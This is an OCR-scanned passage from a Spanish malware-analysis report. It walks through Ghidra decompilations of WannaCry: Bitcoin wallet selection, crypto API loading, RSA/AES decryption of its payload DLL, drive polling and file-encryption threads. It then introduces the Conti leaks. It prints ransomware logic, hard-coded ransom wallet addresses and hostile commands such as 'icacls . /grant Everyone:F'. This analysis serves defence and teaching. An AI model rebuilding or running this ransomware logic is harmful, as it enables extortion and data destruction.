16 _Mode = s rb_0040e0lc;

17 1

18 | _File = fopenis _c.wnry 0040=010, Mode);
| if (_File == (FILE *)0Ox0) {

20 isError = false;

21 }

22| else {

23 if (mode == 0) {

24 res = fwrite(fileBuff,Ox30c,1, File):

22 }

26 else {

27 res = fread(fileBuff,0x30c,1, File);

28 }

29 isError = res = 0;

30 fclose(_File):

21 h

32 return 1sError;

33 [}

Figura 10.55: Lectura o escritura en fichero “c.wnry”.

RANSOMWARE
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Una vez leido, se selecciona una de las direcciones de cartera de Bitcoin (fig. 10.56).

Decompile: selectBitcoinAddress - (1831.bin)

vold selectBitcolnAddress(void)

{
bool 1sError;
undefined3 extraout_var;
int randomValue;
char btcarray [780];
char *btcAddress [3];
btcAddress[@] = s_13AMAVWZdhxYgXeQepoHkHSQuyBNgaEb 0040488,
btcAddress[l] = s 12t9YDPgwueZSNyMgwS19p7AABLS JrES 0040464,
13| btcAddress[2] = s_115p7UMMngojlpMvlpHi jcRdfINXJELr_0040T440;
14 /* Get one btc value and copy to btcArray */
15 | 1sError = readOrWriteCWnry(btcArray,l);
16 | if (CONCAT3L({extraout_var,isError) != 0) {

= = =
| o v T ¥ v Y o TR ) R R Wy LW I

17 randomValue = rand();

18 strecpy (btcArray + Oxb2,btcAddress[randomValue % 31):
19 readOrWriteCWnry (btcArray, 0);

20 +

21 return;

22 |}

Figura 10.56: Seleccion de direccion BTC.

Punteros a funciones

Seguidamente, se realiza la misma técnica que en el malware principal. Se obtienen
los punteros a funciones de Windows de forma que se dificulte el andlisis de la muestra.

En este caso, se identifican funciones de criptografia (fig. 10.57) y funciones genéricas

(fig. 10.58)
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int getCryptFuncPtrs (void)

[s R P 1 =

{
HMODULE hModule;
int res;

oo~

10| 1f (_cryptAcquireContexth == (FARPROC)OxO) {

11 hModule = LoadLibrarya(s_advapi3z, dll_0040e020);

12 if (hModule != (HMODULE)OxO) {

13 _cryptAcquireContexth = GetProcAddress (hModule,s_CryptAcquireContexta_ 00407110 ;

14 _cryptImportkey = GetProcAddress(hModule,s_CryptImportkey 0040f100);

15 _cryptDestroykKey = GetProcAddress(hModule,s CryptDestroyKey_oo4ofofo);

16 _cryptEncrypt = GetProcAddress(hModule,s CryptEncrypt 0040f0e0);

7 _cryptbecrypt = GetProcAddress{hModule,s_CryptDecrypt_0040f0d0);

18 _cryptGenkKey = GetProcAddress (hModule,s_CryptGenkey 0040f0cd);

19 if (({{_cryptacquireContextd != (FARPROC)Ox0) && (_cryptImportkey != (FARPROC)OxD)) &&

20 (_cryptDestroyKey != (FARPROC)Ox0)) &&
21 (((_cryptEncrypt !'= (FARPROC)Ox0 && (_cryptDecrypt != (FARPROC)OxO)) &&
22 (_cryptGenKey != (FARPROC)Ox0)))) goto LAB 0D40laec;
23 }
24 res = 0;
25 1
26| else {
27 |LAB_0040laec:
28 res = 1;
29 1
30 return res;
31|}
Figura 10.57: Set punteros a funciones de encriptado.
4 |int initFuncPtrs(void)
5
6 {
7| int res;
8 HMCODULE hModule;
9
10| res = getCrlptFuncPtrs();
11| if (res !'=0) {
12 if (_createFileW != (FARPROC)Ox0) {
13 return 1;
14 H
15 hModule = LoadLibraryA(s_kernel32.d11_oo4oebes);
16 if (hModule != (HMODULE)Ox@) {
17 _createFileW = GetProcAddress (hModule,s CreateFilew 0040sbdc);
18 _writeFile = GetProcAddress(hModule,s_WriteFile_0040ebd®);
19 _readFile = GetProcAddress (hModule,s ReadFile 0040ebcd);
20 _moveFileW = GetProcAddress(hModule,s_MoveFileW_0040ebbg);
21 _moveF1leExW = GetProcAddress (hModule,s_MoveFileExW_0040ebac);
22 _deleteFileW = GetProcAddress (hModule,s DeleteFileW 0040sbat);
23 _closeHandle = GetProcAddress (hModule,s_CloseHandle_0040eb94);
24 1f ({({{_createFileW != (FARPROC)OxG) && (_writeFile != (FARPROC)Ox(0)) &&
25 (_readFile != (FARPROC)OxO)) &&
26 ({(_moveFileW != (FARPROC)Gx0 && (_moveFileExW != (FARPROC)OxO)) &&
27 ((_deleteFileW != (FARPROC)OxO && (_closeHandle != (FARPROC)0x0)))))) {
28 return 1;
29 }
30 I
31 }
32 return 0;
EEN

Figura 10.58: Set punteros a funciones genéricas.
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Funciones criptograficas

A partir de este punto, se ejecutan diversas funciones criptograficas. En primer lugar,

se obtiene el contexto y se importan las claves desde el sistema de archivos.

(5]

pile: importRs - (1831.bin)

2 |int _ thiscall 0O0Analyzer::cls_Ox40B8lec::importRSAKey (cls_Ox408lec *this, LPCSTR param_1)
3

41

5| int isError;

7| isError = getCryptoContext(this);
2| if (isError !=0) {

9 if (param_1 == (LPCSTR)Ox0) {

10 /% cryptImportKey */

11 1sError = (*¥UNK_0040fE75,_34 4 ) (this-»cryptoProvider, 8RSAKey, Ox494, 0,0, &this->rsakey):
12 }

13 else {

14 isError = importKeyFromFileOrClass(this-=cryptoProvider, &this-=rsaKey,param_1);
15 }

15 if (isError !=0) {

17 return 1;

13 }

19 }

20 | destroyKeyAndReleaseContext(this);
21 return O;
22 |}

Figura 10.59: Importacion de clave criptografica.

La primera funcién de la figura 10.59, se encarga de obtener el contexto criptogréfico.

- (1831.bin) %
2 |int _ thiscall ODAnalyzer::cls_0x408lec::getCryptoContext(cls_Ox408lec *this)
3
a9
5| int isError;
6| int i;
7
8 1 =0;
9| do {
10 /¥ cryptAcquireContexta */
11 isError = (*UNK_0040fS76. 30 4 )
12 (&this-=cryptoProvider, 0, - (uint) (1 != 0} & Ox40f0Bc, Ox18, 0xTOOOOOOD) ;
13 if (isError != @) {
14 return 1;
15 }
16 1=1+1;
17 | } while (1 < 2);
18 return O;
19 |}

Figura 10.60: Se obtiene el contexto criptografico.

La segunda, importa la clave desde el sistema de archivos.
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romFile - (1831.bin)

(&)

5 HANDLE hFile;

5| DWORD fileSize;

7 HGLOBAL 1pBuffer;

8 BOOL fileReadRes;

9| int importKeyRes;

10| int globalRes;

11 | undefined4 *in_FS_OFFSET;
12 | DWORD local_20 [3];
13| undefined4 local_l14;
14| undefined *puStackls;
15 | undefined *puStacklz;
16 | undefined4 local_8;

18| puStacklz = &DAT_004081f0;
19| puStackls = &LAE 004076F4;
20| local_14 = *in_FS _OFFSET;
21| *in_FS _OFFSET = &local_14;

22 | globalRes = 0;

23 | local_20[0] = 0;

24| local_8 = 0;

25 hFile = CreateFileA(param_3, 0x80000000,1, (LPSECURITY_ATTRIBUTES)Ox0, 3,0, (HANDLE)Ox0) ;
26 | if (hFile != (HANDLE)Oxffffffff) {

27 fileSize = GetFileSize(hFile, (LPDWORD)0x0);

28 if ((fileSize != oxffffffff) & (fileSize < Ox19001)) {

29 lpBuffer = GlobalAlloc(0, fileSize);

30 if (lpBuffer != (HGLOBAL)OxO) {

31 fileReadRes = ReadFile(hFile, lpBuffer,fileSize, local_20, (LPOVERLAPPED)Ox0);

32 if (fileReadRes != 0) {

33 /¥ cryptInportkey */

34 importKeyRes = (¥UNK_0040T876,_34_4 ) (cryptProvider, lpBuffer,local_20[0],0,0,key);
35 if (importKeyRes != 0) {

36 globalRes = 1;

37 }

38 }

39 by

40 }

41 }

42 | _local_unwind2(&local_14, Oxffffffff);
43 | *¥in_FS_OFFSET = local_l4;
44 | return globalRes;

Figura 10.61: Importacién de clave criptografica desde fichero.

Posteriormente, se observa (fig. 10.62) como se llama a la funcién “cryptDecrypt()” en
seccién critica. Analizar este cédigo es complicado, pues se trata de implementaciones de
algoritmos criptograficos (fig. 10.63).

En las grandes firmas de antivirus y empresas dedicadas a la ciberseguridad, existen

personas dedicadas tinicamente a la identificacion y reversing de estos algoritmos.

RANSOMWARE
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- (1831.bin)

/¥ WARNING: Globals starting with '_' overlap smaller symbols at the same address #/

undefined4 _ thiscall
00Analyzer::cls Oxd08lec::decryptWithRSAKey
(cls 0xd408lec #this,BYTE *data,size t dataSize,vold *dataCut,size t *dataCutSize)

dword #lpCriticalSection;

1

2

3

4

5

5]

7

2 ({
2]
10 int ivarl;
11
12

if (this-=rsakey != 0) {

13 lpCriticalSection = &this-»mbr_08x10;

14 EnterCriticalSection ((LPCRITICAL SECTION)lpCriticalSection);
15 ivarl = (*_cryptDecrypt) (this-=rsakey.0,1,0,data,&dataSize);
16 if (ivarl 1= 0) {

17 LeaveCriticalSection ((LPCRITICAL_SECTION)1pCriticalSection);
13 memcpy (datalut,data,datasize);

19 *datalutSize = dataSize;

20 return 1;

21 1

22 LeaveCriticalSection ((LPCRITICAL_SECTION)1lpCriticalSection];
23 1

24 return o;

25 |}

Figura 10.62: Llamada a la funcién de desencriptado.

param_4 = (byte *)0Ox1;
if (1 = (int)this-=mbr 0x410) {
param_2 = &this-=mbr 0x208;
do {
1Var? = 1Var3;
puVard = param_2;
if (0 < ivar3) {
do {
uvVarl = *puVard;
*¥puVard = *(uint *) (&DAT 0040abfc + (uVarl == 0x18) * 4) =
*(uint *) (&DAT_0040affc + (uVarl == 0x10 & Oxff) * 4) ~
#(uint *) (&DAT_0040b3fc + (uVarl == 8 & Oxff) * 4) =
*¥(uint *) (&DAT 0040b7fc + (uVarl & Oxff) * 4);
iVar7 = 1Var7 + -1;
puvVard = puVard + 1;
} while (ivar7 != 0);

}
param 4 = param_4 + 1;
param_2 = param_2 + B;

} while ((intlparam_4 < (int)this-=mbr_0x410);

Figura 10.63: Elementos de encriptado extranos.
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No obstante, para una rdpida identificacion, se puede hacer uso de reglas Yara que
detectan constantes de los diferentes algoritmos. En concreto, se hard uso del script del
usuario “Ghidra_ninja”, un destacado investigador en las redes sociales.

Ejecutando el script en la consola de Ghidra, nos devuelve varios resultados. Se de-

tectan constantes de los algoritmos CRC32 y AES.

B console - ¢ ripting

yara.py= Running. ..

Found : CRC32 poly Constant - Oxd254 - Ox40d254L
Found : CRC32 table - Oxd054 - Ox40d0S4L

Found : RijnDael AES - Gx8bfc - Ox408bfclL

Found : RijnDael AES CHAR - 0Ox85fc - Ox4085fclL
Found : RijnDael AES LONG - Ox89fc - Oxd4089fclL
yara.py> Finished!

Figura 10.64: Correr Yara sobre la muestra.

Puesto que este script también crea marcadores en las posiciones de memoria de los
resultados, podemos renombrar estas constantes con nombres relacionados, asi como sus
referencias a nombres que nos ayudardn posteriormente. En este caso, tal y como se ve

en la figura 10.66: “AESFuncX”.

AV LAWTLE AL VWU T =
|Description Enter Label Label
Maximum run of repeated byte instn |crc32TabIe I:]

Maximum run of repeated byte instr
Maximum run of repeated byte instf MNamespace

IMAGE_DIRECTORY_ENTRY_IMPORT | | Global v DWORD_0040d5a8
IMAGE_DIRECTORY_ENTRY RESOURC ] IMAGE_RESOURCE_DIF
IMAGE_DIRECTORY ENTRY AT = N PTR_CreateServiced
CRC32 poly Constant . . .

RC32 table L) ErtryPeint ] Brimary (] Pinned
RijnDael_AES DAT_00408bfc
RijnDael AES_LONG DAT 004089fc

[ oK ] l Cancel J

Figura 10.65: Cambiar nombre con los marcadores.
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RijnDaelAESLong XREF[28] : AESFunc3: 00402cca (R),

AESFunc3: 00402cdf (R),
AESFunc3: 00402ces (R),
AESFunc3: 00402cfc (R),
AESFunc3: 00402dshk (R),
AESFuncl : 0040308: (R),
AESFuncl: 00403085 (R),

Figura 10.66: Cambiar nombre a funciones con x-referencias.

Asi es entonces, como llegamos a la conclusién, de que estas funciones se encargan de

desencriptar el fichero t.wnry con la clave RSA.

465
47
43
49
50
51
52
53
54
=]
6
57
S8
59
G50
61
52
63
G54
55
56
67
[&22]
59
70
71
72
73
74
75
76
L
78
79
20

82
23

fileHandle = CreateFileA(t_wnryFilePath,0x80000000,1, (LPSECURITY _ATTRIBUTES)OxO, 3,0, (HANDLE)OxO) ;
if (fileHandle != (HANDLE)Oxffffffff) {
GetFileSizeEx (fileHandle, (PLARGE_INTEGER)&f1ileSize);
if ((local 24 < 1) && ((local 24 < 0 || (fileSize = Ox6400001)))) {
1sError = (¥_readFile)(fileHandle, &header8Bytes, 8, local_20,0);
if (isError != 0) {
/% S1 los primeros bytes son "WANACRY!" #/
isError = memcmp (&header8Bytes, s WANACRY! 0040eb7c,8);
1f (1sError == 0) {
1sError = (*#_readFile) (fileHandle, &header4Int, 4, local_20,0);
if ({isError != 0) && (headerdInt == 0x100)) {
1sError = (¥_readFile) (fileHandle, this-=header8x100, 0x100, local_20,0);
if (isError !=0) {
isError = (*_readFile) (fileHandle, &4bytes, 4, local_20,0);
if (isError !=0) {
1sError = (*¥_readFile) (fileHandle, &54b1tInt, &8, local_20,0);
if (((isError != 0) && ((int)local 234 < 1)) &&
(({int)Tlocal_234 < 0 || (B4bitInt < OxB400001)))) {
1sError = cls_Ox408lec::decryptWithRSAKey
(&this->cls_0x408lec, this->header0x100, headerdInt,
decryptedTWnry, &decryptedTWnrySize);
if (isError != 0) {
/* Probably Key Init #/
cls_Ox40bc7e: : AESFunc3
(&this-=cls_Ox40bcTc, decryptedTnry, (uint *)PTR_null_0040fS578,
decryptedTnrySize, (byte *)0x10);
bigBuffer = (byte #)GlobalAlloc (0, 54bitInt);
if (bigBuffer != (byte *)0x0) {
/¥ Leer todo el fichero (resto) */
isError = (¥ readFile) (fileHandle,this-=header0x100, fileSize, local_20,0);
pbVarl = bigBuffer
if ({{isError !'= 0) && (local _20[0] != 0)) &&
((Ox7fffffff < local 234 ||
({(int)local_234 < 1 && (64bitInt == local_20[01)))))) {
cls Ox40bc7o:: AESFuncd
(&this-=cls_0x40bc7c, this-=header0x100, bigBuffer, local 20[0].1);
*¥param_2 = 64bitInt;
pbvar2 = pbvarl;

Figura 10.67: Desencriptado de t.wnry

Resumiendo entonces el comportamiento de este recurso, vemos que se crean direc-

torios ocultos, donde se copia el fichero tasksche.exe. Entonces se crea un servicio y se
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modifica el registro con la intencién de crear persistencia.

Finalmente, se utilizan funciones criptograficas para desencriptar el recurso t.wnry,

cargarlo en memoria y ejecutarlo desde su funcién “TaskStart”.

VinMain - (1831 .bin)

{5
37
38
39
40
41
42
43
44
45
46
47
45
49
50
51
52
53

e e e e s e
W oo~ 3l W

b

JEstremplargv LT, /17T #/
1sError = stremp({*argv)[1], (char #*)strSlashIPtr)
if ({isError == 0) &&
(createDirRes = createHiddenDirInPathAndCd((wchar_t #*)0x0),
COMCAT31 (extraout_var,createDirRes) != 0)) {
/¥ Se copla a sl mismo como tasksche.exe #/
CopyFileA(filename,s_tasksche. exe_0040T4d8,0);
taskscheExeFileattributes = GetFileAttributesa(s_tasksche.exe_0040f4d8);
if ((taskscheExeFileAttributes != Oxffffffff) &&
(isError = createServiceOnMutex (), isError != 0)) {
return O;
I
I
I;
pcvarl = strrchr(filename, 0x5c);
if (pcvarl !'= (char *)0x0) {
pcvarl = strrchr(filename, 0x5c);
*pocVarl = "\G°;
I;
SetCurrentDirectoryA(filename);
reqistrySetCwdOrquery (1) ;
extractResourceWlthPw( (HMODULE)Ox O, s Whcry@2ol7 0040T52c);
selectBitcoinAddress();
runCommand {(s_attrib_+h_. 0040f520, 0, (LPOWORD)0x0) ;
runCommand (s icacls . /grant Everyone:F /T /C 0040f4fc, O, (LPOWORD)0xQ) ;
isError = initFuncPtrs();
if (isError !'= 0} {
00Analyzer::cls_0x4081dS: :cls_0x4081d8(&mainClass);
1sError = 00Analyzer::cls_0x4081dE: :1mportRSAKeyAndGlobalAlloc (EmainClass, (LPCSTR)Ox0, 0, 0] ;
if (isError != 0) {
decryptedDataPtir = 0;
decryptedData =
(short *J00Analyzer::cls_0x4081dS: :decryptTWnry
(&mainClass,s t.wnry 0040f4f4, &decryptedDataPtr)
if (((decryptedData != (short *)ox0) &&
{argc = (int *#)loadDll(decryptedData,decryptedDataPtr), argc != (int #)0x0)) &&
(pcvar2 = (code *)callDll{argc,s TaskStart 0040fdeB), pcVar2 != (code *)0x0)) {
(*pcvarz) (0,0);
I
I
O0&nalyzer::cls_0x4081d3: : ~cls_0x4081d8 (&mainClass);
I
return 0;

Figura 10.68: winMain después de todo el andlisis.
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10.1.6. Analisis del DLL t.wnry

Este DLL (del inglés Dynamic Link Library), exporta dos funciones, la funcién entry
y la funcion “TaskStart”. Tal y como se ha visto, no es necesario buscar el “main real”
como ha sido necesario en los otros binarios, sino que se llama directamente a la funcién

¥ |7 Exports
» f  entry
» ¥ TaskStart

Figura 10.69: Funciones exportadas por “t.wnry”.

El anadlisis de este DLL, es méas complejo y largo, por lo que se haré hincapié en las par-
tes de interés. Por lo general, el principal objetivo de esta libreria es la del comportamiento
tipico de un malware, es decir, encriptar los archivos.

En las primeras lineas, se puede ver como se crea un mutex y se cambia el directorio
de trabajo al del fichero de taskche.exe.

En este caso, se lee también los contenidos de c.wnry, que si recordamos son las
direcciones de Bitcoin.

Posteriormente, se comprueban los permisos de ejecucion, recordamos que el DLL se
deberia de estar ejecutando como administrador del sistema si se ha seguido todo el flujo
del malware.

Después se vuelve a iniciar los punteros de funciones necesarias, tal y como se ha hecho
en otras partes del andlisis.

Se finaliza creando cadenas de caracteres para los diferentes nombres de las claves

usadas para el encriptado y desencriptado de archivos.
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art - (dll.dec)
24 /¥ Create mutex and set cwd to tasksche.exe path */
25| if ({param_2 == 0) && (isError = createMutex2(), isError == 0)) {
26 taskschePath = ::taskschePath;
27 resDataPtr = local_212;
28 for (isError = 0x81; isError != 0; isError = isError + -1) {
29 *resDataPtr = O;
30 resDataPtr = resDataPtr + 1;
3l }
32 *¥{undefined2 #)resDataPtr = 0;
33 /% MSDM: Retrieves the fully qualified path for the file that contains the
34 specified module. #/
35 GetModuleFileMNameW (hModule, &taskschePath, 0x103);
36 ptriastOccurrence = wecsrchr(&taskschePath, L W' );
37 if (ptrLastOccurrence != (wchar_t #)ox0) {
38 ptriastOccurrence = wesrchr(&taskschePath, L'\ )
38 ¥ptriastOccurrence = L'AW0';
40 }
41 SetCurrentDirectoryW(&taskschePath);
42 /¥ cownry ¢ direcciones .onlon y descarga de Tor
43 Lee al buffer #/
44 1sError = readWriteCWnry (&c_wnry_contents,1);
45 if (isError != 0) {
46 runningAsSystemPerms = checkITRunningAsSYSTEM();
47 /¥ Inicia punteros para llamar dinamicamente */
a8 1sError = initFunctionPtrs();
49 if (isError != 0) {
50 /% Prepara claves de encripcion */
51 sprintf((char *)&000000, res,s_%08)X, res_1000d8co, 0);
52 sprintf((char *)&000000, pky, s_%08X.pky_l1000dsh4,0);
53 sprintf({char *)&0O00000. eky, s %08X. eky_1000d8a8, 0] ;

Figura 10.70: TaskStart - inicio.

En esta seccion, se chequea en exclusién miutua si las claves existen o no, y si no
existen, se generan. Estas claves son cargadas en memoria y destruidas del sistema.
Finalmente, se crea un hilo encargado de comprobar si se debe de desencriptar el

sistema, es decir, si se ha pagado la fianza.
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tart - (dil.dec)

isError = create mutex(0);

1f ({1sError == 0) && (1sError = checkITO0000000dkyEx1stsOrWorks (D), 1sError == 0)) {
pcWarl = (cls_1000720c *)operator_new(0x28);
local_4 = 0;

1f (pcVarl == (cls_l000720c *)0x0) {
pcVarl = (cls_1000720c *)0x0;
L
else {
pcVarl = ODAnalyzer::cls_1000720c::initCriticalSection (pcVarl);
}

local 4 = oxffffffff;
1t (({pcvarl != (cls_1000720c *)0x0) &&
(isError = 00Analyzer::cls_l000720c::checkOrGeneratekeys
(pcWarl, (LPCSTR)&000000, pky, (LPCSTR)&000000, eky), isError 1= 0)) {
isError = load000GO000ResToMen() :
/* 51 no se puede cargar el archivo pone 8 bytes aleatorios a buffer */
if ({isError == 0) || (_DAT_l000dc70 != 0)) {
DeleteFilea((LPCSTR)&O0000O, res);
resDataPtr = (undefinedd *)&000000. res_data;
for (isError = 0x22; isError != 0; isError = isError + -1) {
¥resDataPtr = 0;
resDataPtr = resDataPtr + 1;
}
_DAT_1000dc70 = 0;
00Analyzer: ;cls_1000720c: :generateRandom (pcVarl, &0O00000, res_data, 8);
I
O0Analyzer::cls_1000720c: ;destroykeysAndReleaseContext (pcWarl);
(*pcVarl-=>vfptr 0-=VIRT FUM 10003340 0)(pcVarl,1);
/* Escribe cada 25 secs datos al sistema en fichero .res */
pyVar2 = CreateThread((LPSECURITY_ATTRIBUTES)Ox0,0,write_time_ thread, (LPVOID)0x0,0,

(LPOWORD ) 0x0) ;
if (pvVar2 != (HANDLE)OxG) {
CloseHandle (pvVarz);
b
Sleep(100);

/* Prueba cada 5 segundos si es posible desencriptar */
pyVar2 = CreateThread ((LPSECURITY ATTRIBUTES)0x0,0,check whether decrypt thread,
(LPVOID)Gx0, @, (LPOWORD) Gx0) ;
1f (pwVar2 != (HANDLE)OxO) {
CloseHandle (pvVarz);
B

Figura 10.71: TaskStart - mitad.

En la parte final del malware, se crean maés hilos para diferentes tareas. En primer

lugar, existe un hilo para obtener mediante polling (chequeo continuo) las unidades de

disco del sistema y se encriptan.

En segundo lugar, se crea un hilo para la tarea taskdl.exe, que como hemos comentado

antes, se encarga de borrar ficheros que tengan . WNCRYT como extension.

Y finalmente, se crea un hilo para mantener persistencia.
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}

CloseHandle (pvVar2);
}
Sleep (100);
/¥ Hace polling the los discos disponibles */
pvWar2 = CreateThread ( (LPSECURITY_ATTRIBUTES)Ox0, 0, getlogicalbrives, (LPVOID)Ox0, 0,
(LPODWORD) 0x0) ;

Sleep(100);
/¥ taskdl.exe #/
threadHandle = CreateThread((LPSECURITY ATTRIBUTES)Ox0Q,0, run_taskdl.exe, (LPVOID)Ox0O, 0,
(LPCWORD ) 0x0) ;
if (threadHandle != (HANDLE)Ox0) {
CloseHandle (threadHandle);
b
Sleep (100);
/% Crea persistencia en regilstro y abre c.wnry #/
threadHandle = CreateThread( (LPSECURITY_ATTRIELTES)Ox0, 0,
{LPTHREAD START ROUTINE)&lpStartiddress 10804990, (LPVOID)Gx0
.0, (LPOWORD) 0x0) ;
if (threadHandle != (HANDLE)Ox0) {
CloseHandle (threadHandle);
}
Sleep (100);
FUN_100057c0();
if (pwvar2 != (HANDLE)OxD) {
WaitForsingleObject (pwvarz, Oxffffffff);
CloseHandle (pvVarz);
I
}
}
else {
/¥ Crea persistencia en registro y abre c.ownry #*/
pvWar2 = CreateThread{ (LPSECURITY_ATTRIBUTES)OxO,0,
(LPTHREAD_START_ROUTINE)&lpStartaddress_10004990, (LPVOID)Gx0, 0,

(LPDWORD) 0x0) ;
WaltForSingleObject (pvVar2, Oxffifffff);
CloseHandle (pyVarz2);

¥
b
}
b
*¥in_FS_OFFSET = local_c;
return O;

Figura 10.72: TaskStart - final.
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Analisis de los hilos

D 00 00 00 00 00 00 00 0O
DM~ o0 E WM

00w
(S =N=]

93
94
95
96
97
9B
99
100
101
102
103
104
105
106
107
108
109
110

J/* Escribe cada 25 secs datos al sistema en fichero .res */
pyVar2 = CreateThread ((LPSECURITY_ATTRIBUTES)Ox0,0,write_time_thread, (LPVOID)Ox0, 0,

(LPOWORD) 0x @) ;
1f (pvVar2 != (HANDLE)Ox0) {
CloseHandle (pvVarz);
}
Sleep (100);

/* Prueba cada 5 segundos si es posible desencriptar #/
pvVar2 = CreateThread ((LPSECURITY_ATTRIBUTES)0x0, 0, check_whether_decrypt_thread,
(LPVOID)0x0, 0, (LPDWORD) 0x0) ;
if (pwvar2 != (HANDLE)OxO) {
CloseHandle (pvVarz);
1
Sleep (100);
/% Hace polling the los discos disponibles */
pvVar2 = CreateThread ((LPSECURITY_ATTRIBUTES)Gx0@,0,getloglcalDrives, (LPVOID)Ox0O, O,
(LPDWORD) 0x0) ;
Sleep (100);
/¥ taskdl.exe */
threadHandle = CreateThread ( (LPSECURITY_ATTRIBUTES)OxO, 0, run_taskdl.exe, (LPVOID)Ox0,0,
(LPDWORD) 0x0) ;
if (threadHandle != (HANDLE)OxO) {
CloseHandle (threadHandle)
1
Sleep (100);
/% Crea persistencia en registro y abre c.ownry #*/
threadHandle = CreateThread ( (LPSECURITY_ATTRIBUTES)Ox0,0,
{LPTHREAD_START_ROUTIME)&lpStartaddress_ 10004990, (LPVOID)0x0
, 0, (LPDWORD) 0x0) ;

Figura 10.73: Hilos invocados.

En el hilo de getLogicalDrives(), se hace polling de los discos para conocer si existen

nuevos que infectar. Esto se realiza con un AND en la linea 20 de la figura 10.74.
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Decompile: getLogicalDrives - (dll.dec)
1
2 |/* lpStartAddress parameter of CreateThread
3 *f
4
S |void getlLogicalDrives(void)
6
7
5| DWORD drives;
9 HAMDLE hObject;
10 | uint drivesDiff;
11 LPVOID lpParameter;
12| wuint oldDrives;
13
14 | drives = GetlLogicalDrives();
15 /¥ Correr siempre hasta gque se haya pagado el ransom */
16 | while (oldDrives = drives, decryption_successful_glob == 0) {
17 Sleep (3000);
18 drives = GetLogicalDrives();
19 /¥ 51 hay nuevos drives los encripta */
20 drivesDiff = oldDrives ™ drives;
21 if (drivesDiff != 0) {
22 lpParameter = (LPVOID)Ox3;
23 do {
24 if (decryption successful glob != 0) goto LAB_1000S7af:
25 if ((((drivesDiff == ((bytellpParameter & Ox1f) & 1) != 0) &&
26 ((oldDrives == ((byte)lpParameter & Ox1f) & 1) == 0)) &&
27 (hObject = CreateThread( (LPSECURITY ATTRIBUTES)OxO, O, ransomwareThread, lpParameter,,
28 (LPDWORD)0x0), hobject != (HANDLE)Ox@)) {
29 CloseHandle (hObject);
30 1
31 lpParameter = (LPVOID) ((int)lpParameter + 1);
32 } while ({int)lpParameter < Oxla);
33 }
34 }
35 [LAB 100057af:
36 /¥ WARNING: Subroutine does not return */
37 | ExitThread(0);
32 |}

Figura 10.74: getLogicalDrives().

Dentro del propio hilo de la infeccién de discos, se encuentra el método encargado de
correr el ransomware. Lo que hace este método, es principalmente comprobar las claves y

anadir los directorios a encriptar a una lista.
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wareThread - (dil.dec)

1

2 |/* 1pStartAddress parameter of CreateThread
3 xS

4

S |undefined4 ransomwareThread (int driveId)
6

7|{

g | int iVarl;

9| undefined4 *in_FS_OFFSET;
10 | cls 100071f8 wncryClass;
11 undefined4 local c;
12 | undefined *puStacks;

132 | undefined4 local_4;

15| local 4 = Oxffffffff;

16 pusStacks = &LAB 10006ehb;

17 | local_c = *in_FS_OFFSET;

18 | *in_FS OFFSET = &local_c;

19| 00&nalyzer::cls 100071F8::1nitCritSection{&wncryClass);
20 | local_4 = 0;

21 | ivarl = 00&nalyzer::cls_10007178::checkKeysAndCleanUp

22 (&wncryClass, (LPCSTR)&O00000, pky, &LAE 10005340, &decryption_successful_glob);
23| if (ivVarl == 0) {

24 local 4 = Oxffffffff;

25 00Analyzer::cls_100071F8: :~cls_lO0071f8 (&wncryClass);

26 *in_FS_OFFSET = local_c;

27 return O;

28 1

29 | checkDiskandStartRansomware (&wncryClass, driveld, o);

30 FUN_10005190 (driveld);

31| Dosnalyzer::cls_100071F8::freeContexts(&wncryClass);

32 /% WARNING: Subroutine does not return #*/
33 | ExitThread{0);

34 |}

Figura 10.75: Hilo con comportamiento de ransomware.

Finalmente, se muestra el hilo de encriptado. En este hilo, se comprueba que haya
espacio disponible, y que el disco a encriptar no sea un CD-ROM. Si esto se cumple, se
crean directorios WNCRYT y se encriptan los elementos que no son de Wannacry o de

Windows.
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ndStartRansomware - (dil.dec)

23
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/¥ Convertir " C:/" a una string */
local 224 = DAT 1000d7as;
driveTypelocal = DAT_1000d7a4 & Oxffffooo0 | (uint)(ushort) ((shortldriveNumber + Ox41);
if (param_3 == @) {
LVarl = InterlockedExchangeAdd ((LONG *)&Addend 1000d4ed, 0);
if (LVarl == drivefumber) {
return;
}
1= 0;
/¥ 51 hay espacio disponible... ¥/
while (({freeDiskSpace =
GetDiskFreeSpaceExW( (LPCWSTR)&driveTypelocal, (PULARGE_INTEGER) tempDir,
(PULARGE_INTEGER)&local 220,&local 218),
getDriveTypewWRef = GetDriveTypeW exref, freeDiskSpace == 0 ||
({local_2lc == 0 && ((false || (local_220 == 0}}1)))) {
Sleep(1000);
1=1+1;
if (29 = 1) {
return;
1
}
/¥ 51 es CD-ROM no encriptar */
driveType = GetDriveTypew( (LPCWSTR)&driveTypelocal);
if (driveType == DRIVE_CDROM) {
return;
b
I
else {
/¥ S1 es CD-ROM no encriptar */
driveType = GetDriveTypeW( (LPCWSTR)&driveTypelocal);
if (driveType == DRIVE_CDROM) {
return;
}
InterlockedExchange ((LONG #*)&Addend_1000d4ed, driveNumber)
h
1 = (*getDriveTypeWRef) (&driveTypeLocal);
if (i == DRIVE_FIXED) {
/¥ memzero(tempDir, 130) #/
tempDir. 4 2 = 0;
memzero = auStack522;
for (1 =0xB1; 1 !=0; 1 =1+ -1) {
*memzero = O;
memzero = Memzero + 1;
}
*(undefined2 *)memzeroc = 0;
getTempDir (driveNumber, (short)tempDir + L' %x04')
/¥ <TempDir=/<int=/MNCRYT #/
00&nalyzer::cls 10001910: :createWncryPath{unaff retaddr, (wchar_t #) (tempDir + 4));
I
driveTypeLocal = driveTypelLocal & Gxffffo000;
/¥ Encripta los elementos que no son de wannacry */
O0Analyzer::cls 10001910:: ransomPaths (unaff_retaddr, (LPCWSTR)&stackOxfffffdd4d, (int *+*)0xl);

Figura 10.76: Encriptado.
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10.2. Muestra Post-COVID: Contz

Las caracteristicas de Conti, la hacen una de las muestras de malware més interesantes
para analizar. Lo mads interesante de esta familia es la estructura de la propia organizacion,
asi como su colaboracién con otras organizaciones.

Todo esto, se puede analizar al detalle gracias a que en febrero de 2022, un usuario de
Twitter llamado “ContiLeaks” filtré todos los documentos, chats y herramientas utilizadas
por Conti. Esto nos permite no solo tener una perspectiva desde fuera, sino conocer los

pensamientos y el por qué de las tomas de decisiones de la organizacion.

2000

jan Feb Mar Apr May

1500

1000

500

Figura 10.77: Visualizacion de los chats filtrados por dia|9].

Ademads, en 2021, se filtraron documentos que proveian a los afiliados. En estos do-
cumentos, se muestran diferentes métodos de ataque y explicaciones de como utilizar el

conjunto de herramientas proporcionado (fig. 10.78).
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Figura 10.78: Documentos y herramientas proporcionadas a los afiliados|10].
